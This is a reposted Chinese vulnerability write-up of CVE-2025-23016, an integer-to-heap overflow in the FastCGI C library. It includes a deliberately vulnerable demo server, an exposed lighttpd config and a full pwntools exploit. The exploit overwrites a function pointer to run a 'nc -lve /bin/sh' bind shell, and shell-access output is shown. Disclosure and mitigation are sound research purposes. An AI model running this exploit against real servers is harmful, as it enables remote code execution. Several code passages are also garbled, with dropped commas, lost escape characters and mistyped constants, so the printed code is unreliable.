攻击 FastCGI 库:CVE-2025-23016

admin 2025年4月24日16:43:43评论1 views字数 14987阅读49分57秒阅读模式
攻击 FastCGI 库:CVE-2025-23016

介绍

FastCGI 是一个用 C 语言编写的库,用于通过设计一种在 NGINX 等 Web 服务器和第三方软件之间进行通信的方式来开发编译的 Web 应用程序。 它是通用网关接口 (CGI) 的演进。

它的主要优势在于它能够集成轻量级 Web 应用程序。 此功能意味着该库主要用于计算能力较低的设备,例如相机。

应该注意的是,PHP-FPM,FastCGI 的 PHP 集成,重新实现了 FCGI 协议,并且不使用 FastCGI 库。

FastCGI 协议

基于 FastCGI 的 Web 服务器的工作方式如下。一个 HTTP 处理服务器正在监听给定的端口,例如 Nginx、lighttpd 或 Apache HTTP Server。 一旦请求被处理,消息就会通过 FCGI 协议发送到 cgi 二进制文件。 有两种传输此消息的方式,通过 TCP 套接字或 UNIX 套接字。 传输模式的选择由开发人员决定。 它被传达给 HTTP 服务器,通常以配置文件的形式。

FCGI 协议中的第一个数据包是 FCGI_Header。 这表示请求的类型及其大小。

typedef struct {
    unsigned char version;
    unsigned char type;
    unsigned char requestIdB1;
    unsigned char requestIdB0;
    unsigned char contentLengthB1;
    unsigned char contentLengthB0;
    unsigned char paddingLength;
    unsigned char reserved;
} FCGI_Header;

在传统的通信中,首先发送 FCGI_BEGIN_REQUEST

这由 FCGI_Header 组成,后跟一个额外的头,即 FCGI_BeginRequestBody

typedef struct {
    unsigned char roleB1;
    unsigned char roleB0;
    unsigned char flags;
    unsigned char reserved[5];
} FCGI_BeginRequestBody;

该数据包用于启动连接,指定发送者的角色以及标志,例如在数据包结束时是否保持连接打开。

这里唯一需要注意的是,如果没有角色,任何传入的数据包都将被视为无效,因此会被销毁。

一旦角色被定义,FCGI_Header 之后会跟随一系列参数。一个参数由四个元素组成。两个大小,一个键和一个值。第一个大小对应于键的大小,第二个对应于值的大小。

大小可以是 32 位或 8 位,具体取决于它们的值。如果大小大于 0x80,它将以 32 位处理。读取一个参数后,协议将尝试将以下字节解释为新参数,直到数据传输结束,或者直到它达到 FCGI_Header 中指示的大小。

这些参数实际上将是 HTTP 服务器传输的数据。它们包括诸如 "QUERY_STRING" 之类的键,这些键对应于 HTTP 请求参数。使用这些键,开发人员可以访问 HTTP 请求数据来开发他们的 Web 应用程序。

漏洞

static int ReadParams(Params *paramsPtr, FCGX_Stream *stream)
{
    int nameLen, valueLen;
    unsigned char lenBuff[3];
    char *nameValue;

    while((nameLen = FCGX_GetChar(stream)) != EOF) {
        /*
         * Read name length (one or four bytes) and value length
         * (one or four bytes) from stream.
         */

        if((nameLen & 0x80) != 0) {
            if(FCGX_GetStr((char *) &lenBuff[0], 3, stream) != 3) {
                SetError(stream, FCGX_PARAMS_ERROR);
                return -1;
            }
            nameLen = ((nameLen & 0x7f) << 24) + (lenBuff[0] << 16)
                    + (lenBuff[1] << 8) + lenBuff[2];
        }
        if((valueLen = FCGX_GetChar(stream)) == EOF) {
            SetError(stream, FCGX_PARAMS_ERROR);
            return -1;
        }
        if((valueLen & 0x80) != 0) {
            if(FCGX_GetStr((char *) &lenBuff[0], 3, stream) != 3) {
                SetError(stream, FCGX_PARAMS_ERROR);
                return -1;
            }
            valueLen = ((valueLen & 0x7f) << 24) + (lenBuff[0] << 16)
                    + (lenBuff[1] << 8) + lenBuff[2];
        }
        /*
         * nameLen and valueLen are now valid; read the name and value
         * from stream and construct a standard environment entry.
         */

        nameValue = (char *)Malloc(nameLen + valueLen + 2);
        if(FCGX_GetStr(nameValue, nameLen, stream) != nameLen) {
            SetError(stream, FCGX_PARAMS_ERROR);
            free(nameValue);
            return -1;
        }
        *(nameValue + nameLen) = '=';
        if(FCGX_GetStr(nameValue + nameLen + 1, valueLen, stream)
                != valueLen) {
            SetError(stream, FCGX_PARAMS_ERROR);
            free(nameValue);
            return -1;
        }
        *(nameValue + nameLen + valueLen + 1) = '';
        PutParam(paramsPtr, nameValue);
    }
    return 0;
}

ReadParams 函数将指向 FCGX_Stream 的指针作为参数,该指针对应于通过套接字接收的数据流,并填充指向 Params 结构的指针。

此函数将读取传入的流,直到其耗尽,或者协议中发生错误。

此函数将读取第一个字节;如果该字节大于或等于 0x80,则大小将通过 4 个字节读取,而不仅仅是一个字节。 接下来将读取并合并接下来的 3 个字节,形成一个 4 字节的整数。执行检查以确保该整数不大于 INT_MAX。执行此检查是为了避免整数溢出,因为此大小将添加到以相同方式检索的另一个整数。

if((nameLen & 0x80) != 0) {
    if(FCGX_GetStr((char *) &lenBuff[0], 3, stream) != 3) {
        SetError(stream, FCGX_PARAMS_ERROR);
        return -1;
    }
    nameLen = ((nameLen & 0x7f) << 24) + (lenBuff[0] << 16)
            + (lenBuff[1] << 8) + lenBuff[2];
}

到目前为止一切顺利,问题出在对 malloc 的调用中。

nameValue = (char *)Malloc(nameLen + valueLen + 2);

可能会在最终的分配计算中添加 +2,以存储键和值之间的“=”字符,以及字符串末尾的空字节。

然而,在 0x7ffffffff + 0x7ffffffff + 1 = 0xffffffff ...0x7ffffffff + 0x7ffffffff + 2 = 0.

这种等式只能在 32 位机器上验证。事实上,这个计算的结果将被存储在一个整数中,其类型将不由 nameLen 和 valueLen 类型定义,而是由 malloc 参数的类型定义。在 stdlib 下,这个参数是 size_t。 size_t 的定义取决于目标机器,但你可以将 size_t 视为 unsigned long long。这意味着在 64 位机器上,参数的大小(8 字节)足以正确存储计算的最大结果。在 32 位机器上,只会分配 4 个字节,从而产生整数溢出。

请注意,当 malloc 分配小于 0x10 的大小时,将分配 0x10 字节。

如果提供的两个大小是 0xfffffffff,在 32 位机器上,结果将分配 0x10,用于从二进制文件中已知的键/值大小 0x7ffffffff。 事实上,第一个字节上的掩码会将值从 0xff 减少到 0x7f。

这种整数溢出导致了一个更重要的漏洞,也是本文将要利用的漏洞: 一个堆溢出 。

一旦分配,malloc 返回的指针将直接用于容纳用户输入。

if(FCGX_GetStr(nameValue, nameLen, stream) != nameLen) {
    //...
}

FCGX_GetStr 函数接受一个指针、一个大小和要从中读取的 FCGX_Stream,然后从 FCGX_Stream 中读取与第一个参数提供的指针一样多的字节。

在操作层面,这可能会带来问题。 实际上,通过提供大小 0x7ffffffff,在缓冲区之外写入将到达堆的末尾,并在写入未映射区域时生成崩溃。

然而,FCGX_Stream 系统允许您控制写入目标缓冲区的大小。

int FCGX_GetStr(char *str, int n, FCGX_Stream *stream)
{
    int m, bytesMoved;

    if (stream->isClosed || ! stream->isReader || n <= 0) {
        return 0;
    }
    /*
     * Fast path: n bytes are already available
     */

    if(n <= (stream->stop - stream->rdNext)) {
        memcpy(str, stream->rdNext, n);
        stream->rdNext += n;
        return n;
    }
    /*
     * General case: stream is closed or buffer fill procedure
     * needs to be called
     */

    bytesMoved = 0;
    for (;;) {
        if(stream->rdNext != stream->stop) {
            m = min(n - bytesMoved, stream->stop - stream->rdNext);
            memcpy(str, stream->rdNext, m);
            bytesMoved += m;
            stream->rdNext += m;
            if(bytesMoved == n)
                return bytesMoved;
            str += m;
        }
        if(stream->isClosed || !stream->isReader)
            return bytesMoved;
        stream->fillBuffProc(stream);
        if (stream->isClosed)
            return bytesMoved;

        stream->stopUnget = stream->rdNext;
    }
}

FCGX_Stream 结构包含一个指向要读取的下一个字节的指针 rdNext,以及一个指向套接字读取的最后一个字节的指针 stop

FCGX_GetStr 函数将使用它来避免读取超出已插入流的内容。因此,如果流已完成,则写入目标缓冲区将终止。 这种停止条件将允许我们控制写入目标缓冲区的字节数,尽管在 FCGX_GetStr 中作为参数传递了大小。我们需要确保使用的参数是流中的最后一个参数。

简而言之,参数处理函数中的整数溢出导致堆中缓冲区溢出,而该缓冲区的大小是可以控制的。

演示环境

为了演示目的,已经设置了一个安装了 lighttpd 及其 FastCGI 模块的虚拟机。

演示 Web 服务器是一个简单的二进制监控系统数据。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <string.h>

#include <fcgi_config.h>
#include <fcgiapp.h>

#define NTSTAT (2)
#define UPTIME (1)

char *exec_cmd(char *command)
{
    int link[2];
    pid_t pid;
    char *res = malloc(4096);

    if (res == NULL)
        return NULL;

    if (pipe(link) == -1)
        return NULL;

    if ((pid = fork()) == -1)
        return NULL;

    if(pid == 0) {
        dup2(link[1], STDOUT_FILENO);
        close(link[0]);
        close(link[1]);
        system(command);
        exit(0);
    }
    else {
        close(link[1]);
        int nbytes = read(link[0], res, 4095);
        res[nbytes] = 0;
        wait(NULL);
    }
    return res;
}

unsigned char readArgs(char *query)
{
    unsigned char ret = 0;
    char *buf = NULL;

    while ((buf = strtok(query, "&")) != NULL) {
        if (!strncmp(buf, "uptime"6))
            ret |= UPTIME;
        else if (!strncmp(buf, "ntstat"6))
            ret |= NTSTAT;
        query = NULL;
    }
    return ret;
}

void write_log(const char *log_content) {
    FILE *file = fopen("/tmp/log.txt""ab");
    if (file == NULL) {
        perror("Error opening file");
        return;
    }
    
    // Écriture de la chaîne
    while (*log_content) {
        fputc(*log_content, file);
        log_content++;
    }
    
    // Écriture du null byte
    fputc('n', file);
    
    fclose(file);
}

void do_log(FCGX_Request *request)
{
    char *uri = FCGX_GetParam("REQUEST_URI", request->envp);
    char *status = FCGX_GetParam("REDIRECT_STATUS", request->envp);
    char *remote = FCGX_GetParam("REMOTE_ADDR", request->envp);

    if (uri == NULL || status == NULL || status == NULL)
        return;

    size_t total_size = strlen(uri) + strlen(status) + strlen(remote)+ 4;
    char *buf = malloc(total_size + 1);

    if (buf == NULL)
        return;

    snprintf(buf, total_size, "%s: %s:%s", remote, uri, status);
    write_log(buf);
    free(buf);
}

int main ()
{
    FCGX_Request request;

    FCGX_Init();
    FCGX_InitRequest(&request, 00);
    int count = 0;

    while (FCGX_Accept_r(&request) >= 0) {
        char *query = FCGX_GetParam("QUERY_STRING", request.envp);
        char *uptime = exec_cmd("/usr/bin/uptime");
        char *ntstat = exec_cmd("/usr/bin/netstat -lt");
        int len = 0;

        do_log(&request);
        if (uptime == NULL || ntstat == NULL) {
            FCGX_FPrintF(request.out,
                "Content-type: text/htmlrn"
                "rn"
                "<title>Monitor server</title>"
                "<h1>Server monitoring</h1>n"
                "<p>error</p>");
        }
        else {
            FCGX_FPrintF(request.out,
                "Content-type: text/htmlrn"
                "rn"
                "<title>Monitor server</title>"
                "<h1>Server monitoring</h1>n");
            
            unsigned char args = readArgs(query);
            switch (args) {
                case 0:
                    FCGX_FPrintF(request.out,
                        "<p>NULL<p>n");
                    break;
                case UPTIME:
                    FCGX_FPrintF(request.out,
                        "<p>%s<p>n", uptime);
                    break;
                case NTSTAT:
                    FCGX_FPrintF(request.out,
                        "<p>%s<p>n", ntstat);
                    break;
                case NTSTAT | UPTIME:
                    FCGX_FPrintF(request.out,
                        "<p>%s</p>"
                        "<p>%s<p>n", uptime, ntstat);
                    break;
            }
            free(uptime);
            free(ntstat);
        }
        
        FCGX_Finish_r(&request);

    }

    return 0;
}

本意是使用一个容易受到 SSRF 攻击的服务器来展示该漏洞。来自 Web 服务器的受控请求访问监听 127.0.0.1 的端口,从而打开对 FastCGI 套接字的访问。当配置正确时,此套接字仅在本地监听。

然而,在设置 lighttpd 服务器并查找有关如何为 FastCGI 配置 lighttpd 的文档时,注意到 Google 推出的第一个 链接 建议读者执行一个易受攻击的 lighttpd 设置。

事实上,作为示例提出的配置文件暴露了 FastCGI 套接字。

fastcgi.server = (   "/remote_scripts/"
    =>   (( "host" => "192.168.0.3",
            "port" => 9000,
            "check-local" => "disable",
            "docroot" => "/" # remote server may use # its own docroot   )) )

我们决定按照这个教程进行操作。

总之,一个可通过局域网访问的虚拟机提供一个 Web 服务,用于使用 FastCGI 和 lighttpd 报告系统指标。 lighttpd 配置通过暴露 FastCGI 套接字而易受攻击。 除了 PIE 之外,所有系统和二进制保护都处于活动状态。

漏洞利用

这种类型的漏洞,存在于库而不是应用程序或系统上,本质上高度依赖于其使用环境。 为了本文的目的,进行尽可能独立于使用该库的二进制文件的利用似乎更合适。 最初,想法是利用 malloc 的缓存损坏。进一步的研究表明,FastCGI 提供了控制执行流程所需的所有工具。因此,没有必要破坏 malloc 的缓存,这意味着此漏洞利用也独立于机器上存在的 C 库的版本。

选择的利用方法基于 FCGX_Stream 结构及其使用。 这表示如下:

typedef struct FCGX_Stream {
    unsigned char *rdNext;    /* reader: first valid byte
                               * writer: equals stop */

    unsigned char *wrNext;    /* writer: first free byte
                               * reader: equals stop */

    unsigned char *stop;      /* reader: last valid byte + 1
                               * writer: last free byte + 1 */

    unsigned char *stopUnget; /* reader: first byte of current buffer
                               * fragment, for ungetc
                               * writer: undefined */

    int isReader;
    int isClosed;
    int wasFCloseCalled;
    int FCGI_errno;                /* error status */
    void (*fillBuffProc) (struct FCGX_Stream *stream);
    void (*emptyBuffProc) (struct FCGX_Stream *stream, int doClose);
    void *data;
} FCGX_Stream;

这在三个方面特别有趣。首先是存在指向 fillBuffProc 和 emptyBuffProc 函数的指针。从堆中重写它们的能力将使得控制执行流程成为可能,而无需重写 GOT(全局偏移表)中的函数(可能受到 RelRO,Relaction Read-Only 保护)或 malloc/free_hook,自 glibc 2.32 以来,这些已不再存在。

第二个原因是此结构在每个 FCGI 请求之间被销毁和重新分配。这意味着有可能让 malloc 返回的指针先于此结构,因此仅依赖于相对位置而不是已知地址来执行漏洞利用,从而使 ASLR 无效。

第三个也是最后一个原因是调用 fillBuffProc 的方式:

stream->fillBuffProc(stream);

使用指向 FCGX_Stream 结构的指针,允许控制至少该指针的前几个字节。

漏洞利用策略如下:

  • 获取一个位于 FCGX_Stream 结构之前的易受攻击的指针。
  • 覆盖后者的缓冲区以重写结构,用 system 的 PLT 条目替换 fillBuffProc,并在结构的开头写入 “/bin/sh”
  • 在不首先使二进制文件崩溃的情况下,调用 fillBuffProc

在这种情况下,我们的二进制文件中有一个对 system 的调用,它不是使用 PIE 编译的,因此该函数的 PLT 地址是已知的。但是,我们注意到,所有经过测试的 Web 服务器都会在后者崩溃的情况下重新启动 fastcgi 二进制文件。由于此漏洞只能在 32 位模式下利用,因此可以想象在不同的上下文中直接对 libc 中的 system 地址进行暴力攻击,这是非常现实的。 更重要的是,由于数据流指针受到控制,因此也可以事先获得内存泄漏。这将取决于应用程序的上下文。

为了获得位于 FCGX_Stream 结构之前的易受攻击的指针,首先确保后者始终相对于我们的分配位于相同的位置非常重要。如前所述,它在每个请求之间都会被系统地销毁和重新分配,这使得它在堆上的位置在两个不同的周期中是随机的。最简单的方法是让二进制文件崩溃一次,并以该结构在二进制文件的初始状态中的位置为基础。这样,当 cgi 二进制文件重新启动时,该结构将位于我们期望的位置。

接下来,在 ReadParams 中读取的参数将用于按正确的顺序逐个删除所有已被销毁的指针。 实际上,当调用 free 时,malloc 会将已销毁的区域再次视为可用,并将存储已释放区域的大小及其位置。如果所需大小小于先前释放的区域的大小,则可以通过进一步调用 malloc 来重新分配该区域。

将向 Web 服务器发送第一个 curl 请求,以便分配然后销毁内存区域,并希望当 FCGX_Stream 结构被重新分配时,它将位于一个已释放区域之后。

一旦我们发出了第一个 Web 请求,将发出第二个请求,检查我们结构的先前 0x30 字节,该字节位于地址 0x804e6e0

gef➤  x/32wx 0x0804e6e0-0x30
0x804e6b0:  0x2e383631  0x2e363031  0x00000039  0x00000021
0x804e6c0:  0x0804e708  0xb7fb4778  0x3d54524f  0x35383534
0x804e6d0:  0x00000034  0x00000000  0x000000e0  0x00000030
0x804e6e0:  0x0804c3fa  0x0804c5a0  0x0804c5a0  0x0804c3f8

请注意,确实已经释放了一个大小为 0x20 的区域。因此,在这里获得分配将是我们的目标。

然而,请注意,我们易受攻击的分配将是 0x10 而不是 0x20。因此,实际上,我们需要在已释放区域 + 0x10 处获得分配。

为了实现这一点,我们需要“弹出”已释放的区域,直到我们到达 0x20 区域,然后分配另一个 0x10 指针,这样只有 0x10 区域——最后一个分配的指针和我们的结构之间的区域——在下次调用大小小于 malloc 的 0x10 时保持空闲。

通过获取一个连续的指针,我们避免了覆盖 malloc 用来记住大小和被其他指针释放的内存区域的元数据。这将避免在到达 fillBuffProc 之前崩溃二进制文件。

通过分析调用 ReadParams 时堆的状态,我们确定,在我们的上下文中,需要九次 0x30 的分配,然后是两次 0x10 的分配,才能使 malloc 在被要求提供大小为 0x10 或更小时提供位于我们结构之前的指针。

在 ReadParams 函数的参数读取循环中,损坏的参数将位于九个大小为 0x30 的有效参数和两个大小为 0x10 的参数之前。

接下来的一步是利用整数溢出创建缓冲区溢出,并重写 FCGX_Stream 结构,以便将 fillBuffProc 替换为 system 的 PLT,然后使用该结构的前几个字节作为有效的 bash 字符串进行调用。

接下来对 fillBuffProc 的潜在调用是在 FCGX_GetChar 函数中进行的。

int FCGX_GetChar(FCGX_Stream *stream)
{
    if (stream->isClosed || ! stream->isReader)
        return EOF;

    if (stream->rdNext != stream->stop)
        return *stream->rdNext++;

    stream->fillBuffProc(stream);
    if (stream->isClosed)
        return EOF;

    stream->stopUnget = stream->rdNext;
    if (stream->rdNext != stream->stop)
        return *stream->rdNext++;

    ASSERT(stream->isClosed); /* bug in fillBufProc if not */
    return EOF;
}

要调用 fillBuffProcisClosed 字段必须为 null,isReader 必须为非 null,并且 rdNext 必须等于 stop。

幸运的是,在调用损坏的函数指针之前,没有发生指针解引用。

将条件 isClosed 设置为 null 将限制我们的 bash 字符串的大小,isReader 将没有任何影响,而条件 rdNext 等于 stop 将迫使我们的 bash 字符串的前四个字节等于第十二个位置的四个字节。 这些条件都不是不可逾越的,但我们的 bash 字符串的大小将受到限制。

字符串 " /bi;nc -lve /bin/sh" 后面跟着 4 个空字节将绕过这些条件,并导致 FCGX_GetChar 函数调用 fillBuffProc,实际上它将是 system,它将以一个 bash 字符串作为参数,该字符串将启动一个监听 30,000 到 50,000 之间随机端口的 shell,从而导致任意代码执行。

实际上,在这种配置下,bash 命令的长度不超过 15 个字符。然而,如上所述,HTTP Web 服务器会在崩溃时重新运行 fcgi 二进制文件。因此,可以通过多次重放该漏洞,使用 "echo abc > a" 将命令写入文件并执行它,从而绕过大小限制。

最终的漏洞利用方式是:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

exe = context.binary = ELF('./test')

def start(argv=[], *a, **kw):
    return remote("192.168.106.9"9003)

"""
typedef struct {
    unsigned char version;
    unsigned char type;
    unsigned char requestIdB1;
    unsigned char requestIdB0;
    unsigned char contentLengthB1;
    unsigned char contentLengthB0;
    unsigned char paddingLength;
    unsigned char reserved;
} FCGI_Header;
"""


def makeHeader(type, requestId, contentLength, paddingLength):
    header = p8(1) + p8(type) + p16(requestId) + p16(contentLength)[::-1] + p8(paddingLength) + p8(0)
    return header

"""
typedef struct {
    unsigned char roleB1;
    unsigned char roleB0;
    unsigned char flags;
    unsigned char reserved[5];
} FCGI_BeginRequestBody;
"""


def makeBeginReqBody(role, flags):
    return p16(role)[::-1] + p8(flags) + b"x00" * 5

io = start()

header = makeHeader(909000)

print(hex(exe.plt["system"]))
io.send(makeHeader(1180) + makeBeginReqBody(10) + header + (p8(0x13) + p8(0x13) + b"b" * 0x26)*9 + p8(0) * (2 *2)+ p32(0xffffffff) + p32(0xffffffff)  + b"a" * (4 * 4) + b" /bi;nc -lve /bin/sh" +p32(0) * 3 + p32(exe.plt["system"]) )

io.close()

➜  article git:(master) ✗ ./exploit.py
[*] './test'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to 192.168.106.9 on port 9003: Done
0x80490b0
[*] Closed connection to 192.168.106.9 port 9003
➜  article git:(master) ✗ sudo nmap -T4 192.168.106.9 -p30000-50000
Starting Nmap 7.80 ( https://nmap.org ) at 2025-03-12 18:46 CET
Nmap scan report for 192.168.106.9
Host is up (0.00024s latency).
Not shown: 20000 closed ports
PORT      STATE SERVICE
39649/tcp open  unknown
MAC Address: 08:00:27:E9:86:0A (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds
➜  article git:(master) ✗ nc 192.168.106.9 39649
id
uid=1000(osboxes) gid=1000(osboxes) groups=1000(osboxes),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth)
ls /
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old

缓解问题

该漏洞被报告为一个 Github issue。已经与维护人员进行了讨论,并提交了一个 pull request 来添加额外的检查并修复该错误。

更新到 2.4.5 版本将保护您免受此漏洞的侵害。如果您使用软件包安装该库,请确保它们与 2.4.5 及更高版本同步。

我们还建议通过将其声明为 UNIX 套接字来限制对 FastCGI 套接字的潜在远程访问。

结论

FastCGI 尽管自 1996 年创建以来漏洞记录相对较低,并且经常用于嵌入式技术,但并非没有实现问题。

然而,这个缺陷很容易纠正,并且良好的实施实践可能使一些服务器在漏洞发布之前就能够保护自己。

与此同时,集成规则以确保至少正确配置您的 Web 服务器以确保最大安全性可能是一个好主意。


原文始发于微信公众号(独眼情报):攻击 FastCGI 库:CVE-2025-23016

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月24日16:43:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   攻击 FastCGI 库:CVE-2025-23016https://cn-sec.com/archives/3994947.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息